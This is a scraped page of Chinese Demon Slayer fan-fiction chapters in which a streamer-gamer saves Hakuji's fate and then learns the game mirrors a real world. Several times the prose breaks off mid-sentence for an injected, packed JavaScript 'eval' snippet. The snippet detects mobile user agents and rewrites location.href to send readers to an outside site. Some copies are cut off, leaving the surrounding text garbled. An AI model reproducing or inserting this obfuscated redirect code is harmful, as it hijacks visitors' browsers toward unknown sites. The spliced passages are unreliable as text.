他说不下去了,只能将额头抵在她冰冷的手上,肩膀剧烈地耸动着,压抑着情绪。 时间在悲痛中缓慢流淌。 窗外的雪越下越大,天地间一片素白。 狛治就这么跪在床前,握着阿真的手,一动不动。 老仆送来热水和干净的布巾,想让他擦擦身上的雪水泥污,他恍若未闻。 不知过了多久,掌心里那只冰凉的手,极其轻微地,动了一下。 狛治猛地抬起头。 床上的人睫毛颤了颤,然后,缓慢地睁开了眼睛。 那双原本清澈的眸子,此刻却蒙上了一层灰蒙蒙的雾霭,失去了焦距,显得涣散而空洞。 她似乎花了很大力气,才将目光缓缓移向床边的狛治。 “下雪...了吗?”声音微弱得几乎听不见,气若游丝。 “下了,阿真。”狛治连忙凑近,声音哽咽,“下了很大的雪。” 阿真的嘴角极其艰难地向上弯了弯,露出一个虚弱的笑容。 “真好。”她喃喃道,目光似乎努力想聚焦在狛治脸上,“你还是来了。” “我来了,阿真,我在这里。”狛治紧紧握住她的手,“对不起...对不起...我什么都不知道...我...” “不、要说、对不起...”阿真打断他,声音断断续续,每一个字都仿佛用尽了力气,“该说对不起的、是我,我骗了你。” “不重要!” “那些都不重要了。”狛治摇头,“阿真,你会好起来的,我带你去找更好的大夫,我们去——” “狛治。”阿真轻轻唤了一声,眼中雾气似乎散开了一些,露出了底下深藏的温柔,“听我说。” 狛治立刻噤声,克制住情绪看着她。 “信,看完了?”她问。 狛治点头。 “你说要变强,会一直保护我,我一直记得。”阿真的眼神渐渐有些涣散,她的目光似乎透过窗户,望向很远的地方,“我希望你保护的人,不只是我。” “你要好好活着,然后用这份力量去保护更多的人。” 她说到这转过头,看着狛治悲怆至极的神色,有些苦恼似的。 “不要露出这种表情啊,笑一笑,好吗?” 狛治尝试着挤出笑容,却发现自己根本做不到。 “狛治,请一直走在正确的道路上,无论遇到什么样的事情,都不要步入歧途。” “关于这件事,可以答应我吗?” “...好,我答应你。” 阿真如愿般看着他,眼中最后一点光彩如同燃尽的烛火,渐渐黯淡下去。 她缓缓闭上了眼睛,嘴角那抹极淡的笑意,永远停滞在了那里。 握着狛治的手彻底失去了力道,轻轻垂落。 掌心的温度在瞬间褪尽。 房间里的灯光似乎都暗了一下。 狛治怔怔地跪在那里,握着那只已经冰冷的手,很久很久。 老仆早已哭倒在地。 无人看见,一点极淡的光晕,从阿真安静的躯壳中轻盈逸出,悄然汇聚成型。 朝奈的目光落在了跪在床前的狛治身上,她无声地靠近,半透明的裙摆轻轻拂过地面。 伸出手,犹豫了一瞬,最终还是轻柔地落在了他头顶。 狛治的身体一僵。 那是一种难以言喻的感觉。 好像有一阵轻柔的风拂过他的发丝,带着他无比眷恋的气息。 他不敢置信地抬起头,模糊的视线里,床榻上的少女依旧静静沉睡着。 是因为太过悲痛,才产生的幻觉吗? 可是,为什么心底深处,感受到了一丝转瞬即逝的暖意? 茫然地转动视线,然后他发现房间里什么都没有。 狛治有些自嘲似的笑了笑。 原来,现在就会开始想念了吗? 不知多久以后,狛治才缓缓地,极其小心地将阿真的手放回被子里,为她掖好被角。 他俯身,在她光洁冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178391|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉的额头上,落下了一个轻如羽毛的吻。 然后,他站起身,因为跪得太久而踉跄了一下。 最后深深地看了一眼床上仿佛沉睡的少女,像是要将她的模样烙印进灵魂最深处。 转身,他一步一步走出了房间,走进了漫天大雪之中。 踩在冰冷的积雪上,寒风夹着雪拍打在脸上,他却感觉不到丝毫寒意。 [系统提示:隐藏任务“拯救误入歧途的少年”最终阶段完成,千羽真于该时间线死亡。] [任务评价:成功改变狛治命运轨迹,阻止其因绝望与憎恨堕落。] [备注:该段记忆将以潜意识碎片形式,映射至主世界猗窝座意识深处。] 大雪淹没了狛治离去的脚印,朝奈就在窗前静静看着,他的背影越来越远。 这个世界关于千羽真和狛治的故事,在雪夜,从此落幕。 而时间的齿轮,仍在继续转动。 - 又是一年冬,漫山遍野都是皑皑白雪。 狛治将食盒放在坟前,拂去碑上新雪。 指尖触及冰冷石面时,停了一停,像是在触碰谁的脸颊。 “今年入冬前,收到了些盐渍的樱花。”他打开食盒,粉色的樱饼在雪色里显得格外柔软,“我用它们做了樱饼,花瓣的颜色还留着。” “阿真喜欢的,加了很多红豆。” 雪落得很轻。 他挨着墓碑坐下,像挨着谁的肩膀。 “恋雪那丫头,前阵子把道场的木桩踢裂了。”他说着,眼里浮起一点笑意,“庆藏师傅气得吹胡子瞪眼,说赔钱的徒弟收不得,结果第二天,自己偷偷去换了更结实的柱子。” 一片雪花落在樱饼上,很快融成了极小的水渍。 “上个月,西街的点心铺终于学会了做正宗的三色团子,师傅每周都去买,说是要尝遍所有味道,才好选出最配茶的那一种。”狛治顿了顿,“其实我们都知道,是因为恋雪爱吃。” 风卷起细雪在墓碑前打了个旋。 “夏天的时候,后山的泉水特别凉,恋雪非要去踩水,被师傅拎着后领子抓回来,两个人吵吵嚷嚷地,把树上的蝉都惊飞了。” 他的声音低下去,落在雪里,几乎听不见。 “这些,都是你爱看的。” 许久,狛治抬起手,轻轻按在胸口。 “阿真,我很想你。” 话音落进雪中,只有风接住了。 他忽然笑了笑:“这么说的话,你这家伙一定会取笑我的吧?” 雪花落进他眼里,凉凉的,带着湿意。 “嗯,所以只有一点点。” 大雪纷飞,将天地连成一片苍茫的白。 远处道场传来隐约的晨钟声,混在风里,听不真切。 他站起身,最后摸了摸墓碑上的名字。 “......” 最后的话语埋藏在风雪之中,无人回应。 雪地上留下一串深深的脚印,从墓碑前,一路延伸到望不见的远方。 食盒里的樱饼还温着,甜香在清冷的空气中淡淡散开。 墓碑一旁的地方,大片积雪中融化了一小块。 就好像谁曾站在那里,静静注视了一切。 29.第二十九章 [系统提示:玩家<朝奈>意识已成功剥离千羽真躯壳,进入灵魂弥留观察模式。] [本世界线剩余停留时间:∞(未知)] [备注:隐藏任务已经完成,该模式玩家可理解成特殊剧情彩蛋。] 雪停了。 天光从厚重的云层后透出,照亮了整个庭院。 仆人们的哭泣声早已低下去,然后是漫长的寂静。 他们沉默着收拾房间,准备后续诸多事宜。 白色的帷幔挂起,屋内屋外的氛围变得极其压抑。 朝奈飘在房间的一角,透明的身形倚着没有温度的墙壁。 她静静看着他们小心翼翼地抬走阿真的遗体,老仆颤抖着将她生前最爱的几件小物收进一个桐木盒里。 一枚素银发簪,几卷手抄的和歌,一个用空了的精致药瓶。 千羽真的一切痕迹被一点一点抹去,换上祭奠的素白。 她尝试过离开这个房间,不过自己的活动范围似乎被无形的力量束缚着,最远只能抵达院子的门口,门外不远处的老槐树下就是视野能见的最远范围。 直播间的弹幕也消失不见。 不,与其说是直播间,不如说整个游戏的操作页面都没剩下几个能用的按键。 她就像一缕被时间遗忘在此地的风,徘徊不去。 最初,她大部分时间都待在曾经躺过的床榻边,那里还残留着属于千羽真生前淡淡的特殊气息。 她看着日光透过窗格在地板上移动,从明亮到黯淡,周而复始。 时间久了,朝奈也会飘到窗前,注视着庭院里的积雪慢慢融化,露出枯黄的草茎,还有一旁光秃秃的石头。 时不时会有仆役进来,有些是很熟悉的面孔,也有不少面生的。 时间在这里流淌的时而缓慢,时而迅速,整个院子像一个矛盾漩涡的中心。 她唯一能清晰感知到的时间刻度,是狛治。 他离开后的第一个月,于某个深夜里回来了。 翻墙而入,动作轻捷如影。 他在庭院里那棵树下站了很久,手指拂过粗糙的树皮。 朝奈飘到他身边,伸手穿过他的肩膀,他毫无所觉,只是无声地看着屋内的方向,下颌线绷得很紧。 最后,他对着那个方位,极其郑重的躬身行了一礼,然后如来时一般悄然离去。 三个月后,他再次出现,是在黎明前最后的黑暗时刻。 这一次他的眼神比之前清明许多,将一个小小的油纸包放在树下,用石头压好。 朝奈凑近看,是几块看起来卖相极佳的羊羹。 狛治仍旧什么都不说,站在庭院里,感受着某些令他思绪万千的气息,然后消失在天光微露的晨雾里。 后来,是老仆按照惯例清扫庭院时发现的羊羹,他愣了很久,小心翼翼替礼物的主人收了起来。 每当狛治来的时候,朝奈那种被世界隔绝的异样感就会暂时消退一些。 她跟在他身边,试图触碰,或者尝试着引起他的注意,但每次都失败了。 狛治的气息越来越沉凝,有一次,他在树下练了一套拳,拳风凛冽,搅动了庭院里沉积的空气。 朝奈看着他专注的身影,严重沉淀下来的某种决心,感到非常欣慰。 他很好地在履行着答应过她的承诺。 在阿真离开以后,他的世界不曾停驻,而是不断向前延伸,有了新的色彩和温度。 不知过了多久,也许是几年,也许更久。 那些油纸包不再出现,狛治来的次数也变得比之前少很多。 最后一次见到他,是一个即将入冬的秋日。 他穿着正式,身形挺拔,已经完全褪去了少年的青涩,眉眼间是经历过风霜后的沉稳。 他站在庭院外不远处的那棵老槐树下,手里紧紧握着那块青白色的玉佩,望着这边已经有些陈旧破败的门庭,看了很久。 夕阳将他的影子拉得很长。 最终他也没有走进来,转身融入了熙攘的人流。 朝奈知道,他终于开始真正地向前走了。对于阿真的记忆,大概已经从尖锐的痛楚,沉淀为心底的一道陈年旧疤。 这应该是好事,是她希望看到的。 可是...为什么灵魂深处的某个地方,传来了细细密密的失却感? [系统提示:该副本角色命途轨迹已步入正确路线,玩家意识剥离状态可启动,是否确认脱离?] 朝奈没有点下确认键。 她想弄清楚一件事,现在还不是离开的时候。 在狛治此番离去以后,朝奈的可活动范围限制被彻底解除了,她现在可以随意地在这个世界线里行走。 她飘荡去了素流道场,坐在屋檐下,看着他们三人围坐吃饭,庆藏大声地说着笑话,恋雪和狛治安静地听着,碗里的饭吃得格外干净。 她悬在训练场的横梁上,看狛治一次次把恋雪踢歪的木桩扶正,脸上的表情非常无奈。 她跟在狛治身后,看他每个月固定去一次西街的点心铺,再绕路去祭扫阿真的墓地,放下应季的、她最爱吃的糕点,沉默地站一会儿,然后转身离开,背影也不再如以前那样萧索。 她见证着他将保护的承诺,一点点落实到生活中每一处细节之中。 他保护道场不被地痞骚扰,保护恋雪不受外人欺负,在庆藏不在家的时候,努力支撑起素流这个小小的家。 他的拳头,只为了守护而挥动。 春雨打湿屋檐,夏虫在草丛鸣叫,秋叶铺满小径,冬雪又一次覆盖着一切。 四季轮转,生生不息。 狛治长得更高了,肩膀更宽,拳法越来越精湛,恋雪也出落成亭亭玉立的少女,虽然力量不及父亲,但灵动却更胜一筹。 庆藏的鬓角添了霜色,嗓门依旧洪亮,看着自己两位徒弟的眼中藏不住满满的骄傲。 朝奈静静看着这一切,她像一位沉浸在美好剧目中的观众,为剧中之人的幸福而微笑。 他在逐渐愈合,新的羁绊宛如坚韧的藤蔓,缠绕住他曾经濒临破碎的灵魂,将他稳稳地锚定在正确的道路上。 他的人生里,再也不会出现那个象征着黑暗的名字。 又到了一年冬季,这年的雪下得比往年都大,漫山遍野都是一片白。 朝奈跟着狛治,看着他来到那个熟悉的墓前,清扫墓碑,摆上樱饼,然后缓缓坐下,对着冰冷的石碑说话。 他说得很慢,声音低沉而平稳,像在对一位久别重逢的老友叙旧。 朝奈安静地站在一旁听着。 他说起用盐渍樱花做的饼,恋雪的顽皮,庆藏的嘴硬心软。 还有三色团子和踩水的夏天。 “这些,都是你爱看的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那些绝望,在无尽黑暗里的挣扎,”阿真的眼中浮现出深邃的悲悯,“狛治的痛楚,无惨的身影,那个永远无法忘记的夜晚...” 她每说一句,朝奈意识深处就仿佛有一把锁被打开,不属于千羽真,甚至不属于玩家朝奈的,庞大而破碎的记忆画面汹涌而来。 《鬼灭之刃》原作的故事,是狛治作为上弦叁的执念,还有他最终化为灰烬的结局。 “那些不是故事。”阿真的执念体轻轻握住朝奈的手,“是真实的。如果‘我’没有在那个时候遇见你,没有在那个雪夜留下约定,狛治注定要走向的就是那一种结局。” “你改变的不是游戏数据。” 阿真的目光穿过风雪,望着狛治远去的方向,眼中充满了感激,“你拯救了真实的灵魂,斩断了一条通往绝望的因果线。” “你就是我,在那个雪夜做出了不一样选择的我。” “而我也是你,是留在这里见证他走向光明的那个过去。” 朝奈的所有疑惑豁然开朗。 为什么情感如此真实,为什么羁绊如此深刻。 为什么系统会允许出现这种彩蛋样式的停留。 因为这一切,本就是真实世界线上一个被扭转的节点。 朝奈> 30.第三十章 “去吧。” 朝奈反握住对方的手,用目光示意着狛治离开的方向,“最后总要好好道别的,不是吗?” 阿真回望她,眼中泪光盈盈,最终化为释然的微笑,她点了点头,身形变得轻盈,朝着狛治的方向追上去。 狛治在雪中缓步前行。 大雪模糊了视线,让思绪变得更加清晰。 他在想道场里劈啪作响的炉火,庆藏师傅大概又在念叨他扫雪不够勤快,恋雪可能早就等不及,偷吃了留给她的樱饼。 琐碎又温暖的思绪填充着他。 忽然,他停下了脚步。 前方风雪间,站着一个再熟悉不过的身影。 那双他曾在无数个深夜闭上眼就能看见的赤色的眼眸,正温柔凝视着他,嘴角带着他记忆深处最眷恋的那抹笑意。 是...阿真?! 狛治的瞳孔猛地一缩,心脏像被无形的手紧攥了一下。 难道是风雪太大,思念太重而产生的幻觉吗? 他盯着那道身影,不敢眨眼,也不敢呼吸。 生怕一丝一毫细微的动静都会将梦惊散。 只是无声地注视着,任凭风雪落满肩头。 记忆中的阿真朝他走来,脚步轻盈,踏雪无痕。 她在距离他几步远的地方停下,笑容里带着一丝狡黠,还有点如释重负的轻松。 眼前一切似乎跨越了时间的长河,来到最初相遇的那个冬天。 她当时对他说了什么? “你以为我会那样说,对吗?” 想起来了。 “狛治。”熟悉的声音穿过风雪,清晰地传入他耳中。 和记忆中一模一样,多了几分空灵。 “我要走啦。”她轻轻地说。 狛治的喉咙发紧。 千言万语在胸腔里翻山倒海。 你要去哪里?为什么会出现在我面前?这些年你过得怎么样? 可是所有的话都只化作汹涌的情绪,堵在胸口未曾说出。 “...嗯。” 他最终只挤出了一个音节。 “我全都看见了。”阿真笑着说,目光好像洞穿了岁月,看到了道场里温暖的灯火,“你把道场保护得很好,把庆藏伯伯照顾的很好,也把恋雪照顾得很好。” “你甚至学会了做樱饼,虽然第一次烤焦了,对不对?” 狛治的睫毛颤了颤。 她连这些都知道。 “你成为了比我想象中更可靠的人。”阿真的声音温柔地像春日拂过万物的风,“狛治,你是我的骄傲。” 他的眼眶瞬间红了。 “所以不要再回头看啦。”阿真朝他挥了挥手,身形开始变得透明,声音也越来越轻,“我留在过去就好,你要一直向前走哦。” “我掐指一算,狛治的人生会长命百岁,幸福安康。” “再见啦,狛治。” 狛治的眼泪终于滚落,在触及脸颊前就被风雪吹冷,冻结。 他用力点头,抬起沉重的手臂,也朝着那个逐渐消散的身影,克制着力道挥了挥。 “再见,阿真。” 风雪呼啸,吞没了他的低语。 她最后一丝轮廓带着微笑融进漫天飞雪。 狛治放下手,僵在原地,许久未动。 雪花落在眼睫上,模糊了眼前所有的画面。 胸口空荡荡的,就好像被谁硬生生剜去了一块。 可是这痛楚又很奇怪,宛若冻土深处的种子开始松动,准备在来年春天破土而出。 他缓缓地深吸一口气。 低头看着自己来时在地上留下的脚印,正在被新雪温柔地掩埋。 他该走了。 抬起左脚,像是从经年的冻土里拔出,积雪发出沉闷的声音,然后是右脚。 这个熟悉的,走过了不知多少次的动作,在此时有了不同以往的重量。 每一步都在雪地上留下了一个清晰完整的脚印,深浅一致。 狛治走得很慢,但他没有回一次头。 他很清楚,只要一回头—— 只要再看一眼那道消散的身影,积攒了数十年的思念就会如决堤般奔涌。 他会不顾一切冲回那片雪幕去拥抱她。 所以,他不能回头。绝对。 狛治闭上眼,继续向前走,风从背后吹来,温柔地推着他的背脊,像谁的催促。 他的脚步越来越稳,越来越快。 雪地上的脚印连成一条线,指着那个有炉火、有家人、有羁绊的地方。 “我会向前走。” 连同你的那份一起。 道场的灯火越来越近,那团橘色的光晕逐渐清晰起来,直到彻底包围住他。 他走到院门前,抬起手轻轻拂去肩头积了厚厚一层的雪,然后推开木门,屋内的暖意和饭菜的香气扑面而来。 直到此刻,他也未曾回头。 门无声合上,将过往与风雪都关在了身后。 [系统提示:特殊剧情彩蛋体验结束。] [玩家意识将于10秒后脱离该副本,10...9...8...7...] 朝奈矗立在石碑旁,闭上了眼睛。 意识抽离的瞬间,耳畔传来阿真轻柔的低语。 “谢谢你,朝奈小姐。” 风雪终将止息,春日总会来到。 然后,万物生长,气清景明。 有些告别不是为了遗忘,是为了让活着的人,更好地迈向明天。 【狛治篇结束】 - 意识回笼的瞬间,产生了轻微的失重感。 朝奈缓缓睁开眼睛,活动了一下有些僵硬的手指。 直播间此时异常热闹,似乎刚刚发生了什么不得了的事。 【不容易,主播你总算回来了】 【刚刚直播间一直黑屏,我还以为是我网卡了,去把WiFi关了再开还是黑屏】 【到底什么情况,我就看到奈奈子最后在三哥面前死遁,后面就开始黑屏】 【我也是,直播间大伙好像都这样】 朝奈从滚动不停的弹幕中捕捉到了关键信息,她追问,“你们黑屏了大概多久?” 【估摸着十几分钟?】 【对的,我看直播间黑了就去开了把101排位,这会时间刚够上票】 她在游戏里体验彩蛋的时间少说也有数十年,虽然时间流逝得时快时慢,但在游戏外居然只过了一刻钟。 而且她现在完全明白了。 千羽真对她说的那番话信息量特别大。 这根本就不只是游戏,而是另一个时空发生过的事件用一种特殊方式在重演。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184169|195983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她为什么能改变命运的轨迹?这就得去找猫咪老师问个清楚了。 “直播间的各位。” “很抱歉,我今天没办法继续再播了。”朝奈适时地找了个理由和观众说明了一下情况。 “又是通宵打完了隐藏剧情,一时半会有点累,我想调整一下状态,下次再播。” 【补药口牙——我的爱播下机了,我该咋办?别人的直播我已经看不进去了】 【三哥这个隐藏确实蛮长的,奈奈子注意休息,还是得劳逸结合】 【下次开播是什么时候,还跟上次一样也是明晚播吗?】 她有点苦恼地看着那条弹幕。 心想着这次的麻烦貌似比较大,估计不是一天就能够解决的事情。 得找个借口多鸽几天。 最后,她把直播间公告改成“花街新区域开了就播”,然后在直播间一片哀嚎里光速下线。 摘下全息头盔,朝奈走出游戏仓,房间里熟悉的味道让她情绪安定下来许多。 如果忽略床上那个胖乎乎的猫的话。 猫咪老师正蜷缩在她叠好的被子上,尾巴尖有一下没一下地轻拍着床单。 它那双在昏暗房间里显得格外明亮的琥珀色瞳孔,正一眨不眨地看着她。 “我就知道会这样。”朝奈审视的目光扫过猫咪老师的爪子,检查着它是不是踩过地板没擦干净就上的床。 对方轻盈地跳到她面前,盯着她。 眼珠转啊转,似乎有点不解,“你怎么每次都不惊讶,也不害怕?” “这让本喵很没面子啊。” 朝奈拿起桌上放着的水杯,抿了一口水润润嗓子,无视了它的插科打诨。 “游戏里发生的一切,那些故事,黑死牟,猗窝座,童磨,无惨,全都是真实世界里发生过的,不是数据,对不对?” 猫咪老师静静地看了她几秒,一转那副散漫的态度,认真地点了点头。 “你所经历的那些,是一个规则迥异但真实存在的世界线上曾经发生过的关键节点。” “两个世界,因为某些不可说的原因,正在发生缓慢而不可逆的融合,当融合达到临界点,那个世界线发生的一切便会涌入你所处的世界。” “朝奈小姐,”猫咪老师的声音停顿了片刻,异常郑重,“你是被选中的桥梁,也是唯一的变数。” “你身上有着罕见的,能与强烈情感与执念产生共鸣的特质。” “所以你在游戏里的每一次介入和选择,其实都在真实地扰动那条世界线的因果,撬动着被绝望和黑暗束缚的灵魂。” “你的任务——” 猫咪老师看着面前明显在发呆的女孩,有些不解地停了下来。 “你怎么了?”它第一次见朝奈这副样子,纳闷地问。 “没事。”朝奈瞥了眼猫咪老师,淡淡的回答,“你继续说吧。” 她看似很平静,其实已经走了好一会了。 不是。 这都什么诡异的展开? 她只是一个很正常的,稍微爱打一点游戏的普通宅女好吗? 什么叫做、随便玩个游戏,然后被告知她是救世主,要让她来挽救两个世界的命运? 玩游戏遇到这样的剧情没问题,但是这是在现实生活里啊! meta游戏都没这么给她上过压力! 31.第三十一章 “你的任务通俗讲,就是在两个世界彻底融合之前,尽可能去逐步瓦解鬼阵营。” “把强大的鬼从执念的循环中解放出来,给予他们另一种选择的可能性。” “时间已经不多了,世界融合的迹象陆续开始出现,你需要继续接触目标,然后找到撬动他们内心枷锁的支点,直到切断循环。” “作为之前几个任务的奖励,我可以提供一个神秘代码给你,背后的数据库里有你想要了解的更多信息。” “总之,那只猫是这么跟我说的。” “喂,你有在听吗?” 房间弥漫着咖啡和泡面的味道。 电脑桌上三块显示屏呈弧形排列,主屏幕上显示的正是英雄联盟排位赛的激烈战况。 朝奈抱着胳膊站在某人的电竞椅后面,看着朝隼操作的厄斐琉斯躲在防御塔下瑟瑟发抖,一旁队友的问号已经快点烂了。 “你说你说,我听着呢。”他头也不回,手指在键盘上飞速操作,试图补一个炮车,结果还是漏掉了。 简直没眼看。 朝奈注意到赔钱哥哥那0/5/2的战绩,还有完全不成体统的控枪,额角青筋跳了跳。 她拉过一旁另一把椅子坐下,一边欣赏他的蹩脚操作,一边继续复述起猫咪老师和她说过的话。 “我是来找你帮忙查一个代码的,”她尽量简洁地解释起自己的来意。 瞥见某人马上要被河道草里赶来的敌方打野gank致死,没忍住岔开话题提醒了一嘴,“你不看视野?跑啊,对面盲僧在河道蹲你呢。” 朝隼:“我靠,大意了!不对,这波我能操作,看我狂风向前——” 他的厄斐琉斯突然向前冲,然后被无情秒杀,黑白屏幕上映出他呆滞的脸。 早就提醒过的朝奈:“......” 她吸了口气,情绪很稳定,“那个网站代码也是猫咪老师给我的,以你的技术破译一下应该花不了多久时间。” 朝隼置若罔闻般盯着灰屏,目光完全被左下角的队友吵架小剧场吸引:“这打野还好意思喷我呢,对面来抓我,他就不会来帮忙?” 朝奈根本不受影响,继续说,“我估计代码背后的东西应该和世界融合脱不开干系,说不定会有详细的记录之类的信息存档。” 她看着赔钱哥哥复活后,手忙脚乱切出通碧和断魄,试图去点贴脸的刺客。 忍。 忍不了一点。 然后,LOL忠实热爱者·朝奈发表了以下讲话: “神人吗你是?通碧Q标记,断魄跟上追着a不就好了,你往后拉什么?手里的红刀能回血啊。” “算了,跑都跑了...你R好了,等他们追深点,你继续拉扯一下,红刀回点血,切荧焰把兵线清了保一下防御塔。” “不对啊,你折镜呢?刚才打团你把折镜叠的层数全弄没了?” 别玩了孩子,卸载吧。 朝隼听得一愣一愣的,下意识跟着妹妹的指挥操作,居然真的在塔下勉强守了一波,还蹭到个助攻让丑陋的战绩变得没原先那么难看。 “看我干嘛?控枪啊。通碧断魄打完,下一组是折镜和——你刚才为什么把坠明换了?” “我真是看不懂你的操作,离人类已经很远了。行吧,现在用好手里的荧焰和折镜,找机会荧焰R接折镜Q刷飞轮,清线继续守塔吧。” 朝奈在指点赔钱哥哥操作的同时,也没忘记说自己的正事,“我需要你破译的这个网址关联的数据库信息会很重要,所以你能快就尽量快点。” 她语速很快,也没忘分一点注意力在游戏画面上,“现在他们大龙逼团,你手里怎么又是错的枪?算了,按我说的做,坠明Q减速留人,折镜近距离刷飞轮。” “让你上没让你冲第一个,等你们家石头人开就好。” “哦哦,”朝隼似乎看见了希望的曙光,“小奈你还会玩这个?厄斐琉斯操作起来挺难的吧。” “还好有你。” 话音刚落,画面中团战一触即发,朝隼这边的石头人确实撞起来三个,但他的厄斐琉斯一个激动闪现向前,想用坠明定住对方的ADC,结果位置太差,很尴尬地被对面打野和中单一套丝滑小连招瞬间融化了。 “啊——!”他抱头痛哭。 朝奈看着电脑屏幕上团灭的提示,还有对面直奔高地的攻势,彻底对这人的操作无语了。 这把游戏输了,这家伙晋级赛又得重打。 她还等着他帮忙破译猫咪老师给的代码,没这个时间等了。 “起来。“她的声音淡淡的,带着点不容拒绝的意思。 “啊?” 很明显,朝隼还没从刚才失败的打击中回过神来。 又菜又爱玩是这样的。 “我让你起来,我来。”朝奈的耐心告罄,直接把他的那把椅子推开,自己坐到了电脑面前。 屏幕上是刚从泉水复活的厄斐琉斯,手里捏着通碧和断魄,家里的门牙塔正在遭受对面的攻击。 朝隼目瞪口呆地看着自己的妹妹,只见她飞快地扫了一眼双方装备栏,一手键盘一手鼠标,瞬间整个人气质都变了。 “通碧断魄用来清线,换折镜荧焰守高地,坠明等下一轮再用。”朝奈的厄斐琉斯走位刁钻,控枪老道,每次切枪都恰到好处。 和某人蹩脚的操作截然不同,她一上手各种操作都无比流畅。 她甚至还有空在对话框教队友做事:“中路去下路带线,其他人守好家。” 大抵是厄斐琉斯的操作突然变得犀利起来,队友都觉得她是代练扫码上号来炸鱼的,非常配合她的指挥。 在朝奈宛如脚本的操作和精妙的指挥下,他们不仅守住了高地,还打出一波漂亮的团战,最终逆风翻盘,一路拆掉了对面的水晶。 Victory的标志在电脑屏幕中间亮起。 朝隼张大了嘴,呆滞地看着电脑屏幕,不敢相信般看着面色如常松开键鼠的妹妹,仿佛第一次认识她。 “你...”他的声音有点飘,“我记得你不是只玩单机RPG和剧情向游戏吗?什么时候开的打MOBA的?” 朝奈松开鼠标,侧过脸看他:“现在能好好听我说话了?” “能的能的。”朝隼斩钉截铁,“小奈你现在说太阳从西边升起我也立刻拥护。” 他连人带着椅子往电脑屏幕前挪动,顺手就在另一台显示器那边敲击起来。 “你哥我虽然游戏打得菜,但耳朵又没聋。”他小声嘟囔着,方才玩游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“小事而已。”朝奈语气平淡如常,“不用管我。” 朝隼没接话。 一时间,室内被键盘声填满。 他的表情逐渐严肃起来,手指敲击键盘的速度变得更快了,屏幕上滚过无数个普通人看不懂的代码和指令反馈。 “嗯...跳转多次,加密层级很高,用的是我没见过的协议,有意思。” 屏幕上的代码倾泻,朝隼调动几个常用的渗透工具,被挡回。 换另一套框架绕过一层伪装服务器,迎面撞上更厚的防火墙。 再换思路,利用某个系统漏洞,小心翼翼地试探边缘。 遇到了强大的防火墙和迷惑性很高的伪装服务器,但他的技术实在是够硬,经过一番令人眼花缭乱的操作,他最终还是突破了最后一层防线。 “进去了。”朝隼低声说,主屏幕上画面一变。 非常简洁的背景页面,上面浮动着一轮血月和紫藤花,还有不断刷新的透明数据流。 “没logo也没导航吗?”朝奈凑近屏幕。 朝隼滚动着页面,越往下看脸色越凝重。 “不是正常的网站,不如说,这是个隐藏的日志上传系统。” 32.第三十二章 电脑屏幕上出现密密麻麻的迭代日志。 [系统第1次重启#编号001] [世界状态:鬼舞辻无惨成功获取关键道具青色彼岸花,完成最终进化,世界陷入永恒黑夜。] [结局:BAD END·至暗时刻] [警告:检测到未知力量介入,世界线强制重新启动。] [系统第37次重启#编号037] [重启后进展:人类中出现特殊能力者,初步掌握呼吸法雏形,鬼杀队阵营组织逐渐成型。] [世界状态:鬼舞辻无惨成功获取关键道具青色彼岸花,完成最终进化,世界线崩坏。] [结局:BAD END·去往坟茔] [警告:关键锚点诞生。] [系统第166次重启#编号166] [重启后进展:呼吸法体系趋于完善,日轮刀锻造技术成熟,鬼杀队柱制度确立。] [关键事件:黑死牟执念固化,成为上弦之壹。] [世界状态:鬼舞辻无惨成功获取关键道具青色彼岸花,完成最终进化,世界线加剧崩坏。] [结局:BAD END·恨火] [警告:鬼之执念加深,未知力量再次介入。] 察觉到神秘代码背后隐含的信息是什么后,房间内的氛围变得非常严肃。 记录一条条往下,迭代的编号不断在增加。 每一次重启后的世界,人类方的力量都在缓慢增长,出现新的呼吸法流派,新的战术,新的强力剑士。 与此同时,力量强大的上弦鬼之执念不断加深,日志系统一次又一次更新留下警告。 朝隼滑动鼠标继续翻阅系统日志,朝奈盯着电脑屏幕的目光也异常专注。 在一篇篇上滑的日志里,她看见了关于猗窝座的记录。 [系统第510次重启#编号510] [重启后进展:呼吸法流派持续增加,关键锚点消失后,斑纹剑士首次出现,平均存活年龄25岁。] [关键事件:猗窝座执念固化,成为上弦之叁。] [世界状态:鬼舞辻无惨成功获取关键道具青色彼岸花,完成最终进化,世界线加速崩坏。] [结局:BAD END·雪夜独行] [警告:鬼之执念加深,************] 日志第一次出现了乱码。 “这里的乱码是什么?”她指了指屏幕上一连串的符号。 朝隼皱着眉,尝试解码,“不行,这里原文件已经损坏了,没有办法查看。” 他拖动着鼠标继续查看剩下的文件,朝奈没出声阻止。 所有的日志内容都大同小异,直到第七百七十七次系统重启,这一次日志出现了完全不同的内容。 [系统第777次重启#编号777] [世界状态:鬼舞辻无惨于无限城决战中被消灭,上弦鬼全灭,鬼阵营失败,鬼杀队大获全胜。] [结局:*******黎明到来前的最后黑暗] 